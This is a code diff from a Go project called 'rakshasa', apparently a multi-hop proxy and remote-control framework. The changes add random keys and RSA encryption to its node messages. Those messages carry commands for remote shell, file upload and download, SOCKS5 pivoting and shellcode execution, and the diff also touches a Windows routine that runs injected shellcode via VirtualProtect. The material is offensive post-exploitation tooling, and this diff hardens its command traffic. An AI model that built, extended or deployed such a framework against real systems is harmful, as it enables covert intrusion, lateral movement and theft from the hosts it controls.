@@ -27,7 +27,7 @@ func (l *serverListen) Lisen() {
if l.isSocks5 {
conn.id = l.id
l.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, l.socks5Replay)
l.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, append(l.randkey,l.socks5Replay...))
go conn.handTcpReceive()
return
}
@@ -38,7 +38,7 @@ func (l *serverListen) Lisen() {
b[1] = byte(conn.id >> 8)
b[2] = byte(conn.id >> 16)
b[3] = byte(conn.id >> 24)
conn.node.Write(common.CMD_CONNECT_BYID, l.id, b)
conn.node.Write(common.CMD_CONNECT_BYID, l.id, append(l.randkey,b...))
l.connMap.Store(conn.id, conn)
go conn.handTcpReceive()
@@ -58,7 +58,7 @@ func (l *serverListen) Close(reason string) {
})
if reason != remoteClose {
l.node.Write(common.CMD_DELETE_LISTEN, l.id, nil)
l.node.Write(common.CMD_DELETE_LISTEN, l.id, l.randkey)
}
}
}
+7 -2
View File
@@ -1,8 +1,11 @@
package server
import (
"encoding/binary"
"errors"
"fmt"
"math/rand"
"cert"
"rakshasa/common"
"strconv"
"strings"
@@ -20,9 +23,11 @@ func StartRemoteSocks5(cfg *common.Addr, n *node) error {
server: n,
typ: "socks5",
result: make(chan interface{}),
randkey: make([]byte,8),
}
binary.LittleEndian.PutUint64(l.randkey,uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
l.openOption = common.CMD_REMOTE_SOCKS5
l.openMsg = []byte(cfg.String())
l.openMsg = cert.RSAEncrypterByPrivByte(append(l.randkey,cfg.String()...))
n.Write(l.openOption, l.id, l.openMsg)
currentNode.listenMap.Store(l.id, l)
select {
@@ -110,7 +115,7 @@ func init() {
c.Println("没有找到ID为", id, "的连接")
} else {
l.Close("命令行关闭")
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
l.server.Write(common.CMD_DELETE_LISTEN, l.id, l.randkey)
currentNode.listenMap.Delete(uint32(id))
}
+21 -18
View File
@@ -6,6 +6,7 @@ package server
*/
import (
"bytes"
"cert"
"encoding/json"
"fmt"
"io"
@@ -13,8 +14,9 @@ import (
"os"
"os/exec"
"rakshasa/aes"
"rakshasa/cert"
"rakshasa/common"
"regexp"
"runtime"
"strconv"
"strings"
@@ -24,7 +26,6 @@ import (
"github.com/abiosoft/readline"
"github.com/creack/pty"
"github.com/dlclark/regexp2"
"github.com/luyu6056/ishell"
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
@@ -109,7 +110,7 @@ func init() {
c.Println(c.Args)
currentConfig.Password = c.Args[0]
currentConfig.FileSave = false
aes.Key = aes.MD5_B(currentConfig.Password + string(cert.PublicKey[:16]))
aes.Key = aes.MD5_B(currentConfig.Password + string(cert.RsaPrivateKey[:16]))
},
})
configShell.AddCmd(&ishell.Cmd{
@@ -133,7 +134,9 @@ func init() {
currentConfig.Port = port
currentNode.port = port
currentConfig.FileSave = false
StartServer(fmt.Sprintf("%s:%d",currentConfig.ListenIp,currentConfig.Port))
if err := StartServer(fmt.Sprintf(":%d", currentConfig.Port)); err != nil {
c.Printf("启动节点失败 %v, 请重新修改监听端口",currentConfig.Port)
}
},
})
@@ -188,7 +191,7 @@ func init() {
remoteShell.SetPrompt("rakshasa\\remoteshell>")
fileShell := ishell.New()
fileShell := cliInit()
remoteShell.AddCmd(&ishell.Cmd{
Name: "file",
Help: "连到节点进行文件管理,参数为id或者uuid",
@@ -208,7 +211,7 @@ func init() {
fileShell.Set("node", workN)
result := make(chan interface{}, 1)
id := workN.storeQuery(result)
workN.Write(common.CMD_PWD, id, nil)
workN.Write(common.CMD_PWD, id, []byte(cert.RSAEncrypterByPriv(currentConfig.Password)))
select {
case pwd := <-result:
workN.deleteQuery(id)
@@ -234,7 +237,7 @@ func init() {
n := c.Get("node").(*node)
resChan := make(chan interface{}, 1)
id := n.storeQuery(resChan)
n.Write(common.CMD_DIR, id, []byte(pwd.(string)))
n.Write(common.CMD_DIR, id, []byte(cert.RSAEncrypterByPriv(pwd.(string))))
select {
case res := <-resChan:
n.deleteQuery(id)
@@ -261,12 +264,12 @@ func init() {
pwd = dir
} else {
pwd += "/" + dir
pwd = strings.TrimRight(realpath(pwd), "/")
pwd = strings.TrimRight(getRealPath(pwd), "/")
}
resChan := make(chan interface{}, 1)
id := n.storeQuery(resChan)
n.Write(common.CMD_CD, id, []byte(pwd))
n.Write(common.CMD_CD, id, []byte(cert.RSAEncrypterByPriv(pwd)))
select {
case res := <-resChan:
@@ -326,7 +329,7 @@ func init() {
}
filename := pwd[i+1:]
dir := pwd[:i]
dir = strings.TrimRight(realpath(dir), "/") + "/"
dir = strings.TrimRight(getRealPath(dir), "/") + "/"
pwd = dir + filename
resChan := make(chan interface{}, 9999) //避免收消息阻塞
@@ -372,7 +375,7 @@ func init() {
b[be+6] = byte(offset >> 48)
b[be+7] = byte(offset >> 56)
offset += len(data)
n.Write(common.CMD_UPLOAD, id, append(b, data...))
n.Write(common.CMD_UPLOAD, id, cert.RSAEncrypterByPrivByte(append(b, data...)))
case res := <-resChan:
switch v := res.(type) {
case error:
@@ -432,7 +435,7 @@ func init() {
}
filename := pwd[i+1:]
dir := pwd[:i]
dir = strings.TrimRight(realpath(dir), "/") + "/"
dir = strings.TrimRight(getRealPath(dir), "/") + "/"
mydir, err := os.Getwd()
local := "./" + filename
if err == nil {
@@ -468,7 +471,7 @@ func init() {
b[be+5] = byte(total >> 40)
b[be+6] = byte(total >> 48)
b[be+7] = byte(total >> 56)
n.Write(common.CMD_DOWNLOAD, id, b)
n.Write(common.CMD_DOWNLOAD, id, cert.RSAEncrypterByPrivByte(b))
c.ProgressBar().Start()
size := int64(0)
resnum := 0
@@ -525,7 +528,7 @@ func init() {
b[be+5] = byte(total >> 40)
b[be+6] = byte(total >> 48)
b[be+7] = byte(total >> 56)
n.Write(common.CMD_DOWNLOAD, id, b)
n.Write(common.CMD_DOWNLOAD, id, cert.RSAEncrypterByPrivByte(b))
}
default:
c.Println("协议错误")
@@ -585,7 +588,7 @@ func init() {
}
b, _ := json.Marshal(p)
n.Write(common.CMD_SHELL, id, b)
n.Write(common.CMD_SHELL, id, cert.RSAEncrypterByPrivByte(b))
s := &remoteCmd{
cmd: nil,
stdin: nil,
@@ -621,8 +624,8 @@ func init() {
if !common.EnableTermVt {
s.translate = func(in []byte) ([]byte, error) {
if in[0] == 27 {
r, _ := regexp2.Compile(`\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])`, 0)
res, _ := r.Replace(string(in), "", 0, -1)
r, _ := regexp.Compile(`\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])`)
res := r.ReplaceAllString(string(in), "")
return []byte(res), nil
}
return in, nil
@@ -758,7 +761,7 @@ func printNodes(c *ishell.Context) {
}
}
func realpath(path string) string {
func getRealPath(path string) string {
path_s := strings.Split(path, "/")
realpath := []string{}
+2 -1
View File
@@ -10,6 +10,7 @@ import (
"os"
"os/exec"
"path/filepath"
"cert"
"rakshasa/common"
"strconv"
"time"
@@ -44,7 +45,7 @@ func RunShellcodeWithDst(dst, shellcode, xorKey, param string, timeout int) erro
id := n.storeQuery(res)
b, _ := json.Marshal(s)
n.Write(common.CMD_RUN_SHELLCODE, id, b)
n.Write(common.CMD_RUN_SHELLCODE, id, cert.RSAEncrypterByPrivByte(b))
select {
case v := <-res:
fmt.Println("运行结果\n", v)
+2 -1
View File
@@ -11,7 +11,7 @@ import (
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
VirtualProtect = kernel32.MustFindProc("VirtualProtect")
old32 = syscall.MustLoadDLL("ole32.dll")
CoTaskMemAlloc = old32.MustFindProc("CoTaskMemAlloc")
)
@@ -22,6 +22,7 @@ func shellcodeRun(code []byte) error {
fmt.Println(err)
}
}()
VirtualProtect := kernel32.MustFindProc("VirtualProtect")
l := uintptr(len(code))
pwstrLocal, _, _ := CoTaskMemAlloc.Call(l)
+41 -26
View File
@@ -2,11 +2,13 @@ package server
import (
"bytes"
"cert"
"encoding/binary"
"errors"
"fmt"
"hash/crc32"
"log"
"math/rand"
"net"
"rakshasa/common"
"runtime/debug"
@@ -14,14 +16,13 @@ import (
"strings"
"sync"
"sync/atomic"
"time"
"unsafe"
"github.com/luyu6056/ishell"
)
const (
STATUS_OFF = 0
STATUS_ON = 1
UDP_PORT_MIN = 30000
UDP_PORT_MAX = 60000
SOCKES5_VERSION = 5
@@ -29,13 +30,11 @@ const (
var (
SOCKES5_AUTH_SUSSCES []byte = []byte{5, 0}
SOCKES5_AUTHPW_SUSSCES []byte = []byte{5, 2}
SOCKES5_AUTH_SUSSCES_PASSWD []byte = []byte{5, 2}
PROTOCOL_ERR = errors.New("protocolErr")
)
const (
SERVER_NUM = 4 //有效的连接数量
CONN_AUTH_CLOSE = 0
CONN_AUTH_NONE = 1
CONN_AUTH_PW = 2
@@ -64,6 +63,7 @@ type clientConnect struct {
addrData []byte
listenId uint32
randkey []byte
}
func (s *clientConnect) Write(b []byte) {
@@ -72,10 +72,10 @@ func (s *clientConnect) Write(b []byte) {
case common.CMD_CONNECT_BYIDADDR_RESULT:
switch common.NetWork(b[1]) {
switch common.NetWork(b[9]) {
case common.SOCKS5_CMD_CONNECT:
if b[2] != 1 {
if b[10] != 1 {
go func() { s.Close("") }()
} else {
@@ -87,11 +87,11 @@ func (s *clientConnect) Write(b []byte) {
s.auth = CONN_AUTH_MESSAGE
s.conn.Write(append([]byte{5, 0, 0}, s.addrData...))
case common.RAW_TCP:
if b[2] != 1 {
if b[10] != 1 {
go func() { s.Close("") }()
}
default:
log.Println("未处理")
log.Println("socks5 未处理")
}
case common.CMD_CONN_MSG:
@@ -108,7 +108,7 @@ func (s *clientConnect) Write(b []byte) {
}
var remoteClose = "服务器要求远程关闭"
var nodeIsClose = "节点已经断开连接"
func (s *clientConnect) Close(msg string) {
if atomic.CompareAndSwapInt32(&s.isClose, 0, 1) {
@@ -184,7 +184,9 @@ func StartSocks5(cfg *common.Addr, dst []string) error {
localAddr: cfg.Addr(),
id: common.GetID(),
typ: "socks5",
randkey: make([]byte, 8),
}
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
l.listen, err = StartSocks5WithServer(cfg, target, l.id)
if err != nil {
@@ -199,7 +201,8 @@ func StartSocks5WithServer(cfg *common.Addr, n *node, id uint32) (net.Listener,
if err != nil {
return nil, err
}
randkey := make([]byte, 8)
binary.LittleEndian.PutUint64(randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
fmt.Println("socks5 start ", cfg.Addr())
go func() {
for {
@@ -216,6 +219,7 @@ func StartSocks5WithServer(cfg *common.Addr, n *node, id uint32) (net.Listener,
conn: conn,
server: n,
listenId: id,
randkey: randkey,
}
go handleSocks5Local(c)
@@ -262,7 +266,7 @@ func handleSocks5Local(s *clientConnect) {
if len(data) > 2 {
if data[0] == 5 {
if s.cfg.User() != "" && s.cfg.Password() != "" {
s.conn.Write(SOCKES5_AUTH_SUSSCES)
s.conn.Write(SOCKES5_AUTH_SUSSCES_PASSWD)
s.auth = CONN_AUTH_PW
} else {
s.conn.Write(SOCKES5_AUTH_SUSSCES)
@@ -298,11 +302,14 @@ func handleSocks5Local(s *clientConnect) {
switch common.NetWork(data[1]) {
case common.SOCKS5_CMD_CONNECT:
addr, port := socks5ReadAddr(data)
s.connect(common.SOCKS5_CMD_CONNECT, addr, port)
if !s.connect(common.SOCKS5_CMD_CONNECT, addr, port){
s.Close(nodeIsClose)
}
case common.SOCKS5_CMD_BIND:
addr, port := socks5ReadAddr(data)
s.connect(common.SOCKS5_CMD_BIND, addr, port)
if !s.connect(common.SOCKS5_CMD_BIND, addr, port){
s.Close(nodeIsClose)
}
case common.SOCKS5_CMD_UDP:
localIP := s.conn.LocalAddr().String()
@@ -329,11 +336,13 @@ func handleSocks5Local(s *clientConnect) {
ipb := ipToByte(localIP)
addr, port := socks5ReadAddr(data)
s.connect(common.SOCKS5_CMD_UDP, addr, port)
copy(repdata[4:], ipb)
s.conn.Write(repdata)
go handleSocks5Udp(s)
if s.connect(common.SOCKS5_CMD_UDP, addr, port){
copy(repdata[4:], ipb)
s.conn.Write(repdata)
go handleSocks5Udp(s)
}else{
s.Close(nodeIsClose)
}
default:
data[0] = 5
data[1] = 7 //RepCmdNotSupported
@@ -393,6 +402,7 @@ func handleSocks5Udp(s *clientConnect) {
udps := &clientConnect{
server: s.server,
randkey: s.randkey,
}
udps.udpConn = s.udpConn
udps.id = udps.server.storeConn(s)
@@ -416,17 +426,21 @@ func handleSocks5Udp(s *clientConnect) {
}
}
func (s *clientConnect) connect(command common.NetWork, addr string, port uint16) {
func (s *clientConnect) connect(command common.NetWork, addr string, port uint16)bool {
if atomic.LoadInt32(&s.server.isClose) == 1 {
s.server, _ = GetNodeFromAddrs(s.server.reConnectAddrs)
}
if atomic.LoadInt32(&s.server.isClose) == 1 {
return false
}
ports := strconv.Itoa(int(port))
buf := make([]byte, 2+len(addr)+len(ports))
s.id = s.server.storeConn(s)
buf[0] = byte(command)
copy(buf[1:], addr)
buf[1+len(addr)] = ':'
copy(buf[2+len(addr):], ports)
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, buf)
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, cert.RSAEncrypterByPrivByte(append(s.randkey, buf...)))
if value, ok := s.server.listenMap.Load(s.listenId); ok {
switch v := value.(type) {
case *serverListen:
@@ -435,6 +449,7 @@ func (s *clientConnect) connect(command common.NetWork, addr string, port uint16
v.connMap.Store(s.id, s)
}
}
return true
}
func Bytes2str(b []byte) string {
@@ -450,7 +465,7 @@ func (s *clientConnect) Remoteclose() {
buf[1] = byte(s.id >> 8)
buf[2] = byte(s.id >> 16)
buf[3] = byte(s.id >> 24)
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, buf)
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, append(s.randkey, buf...))
}
func init() {
@@ -521,7 +536,7 @@ func init() {
c.Println("没有找到ID为", id, "的连接")
} else {
l.Close("命令行关闭")
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
l.server.Write(common.CMD_DELETE_LISTEN, l.id, l.randkey)
currentNode.listenMap.Delete(uint32(id))
}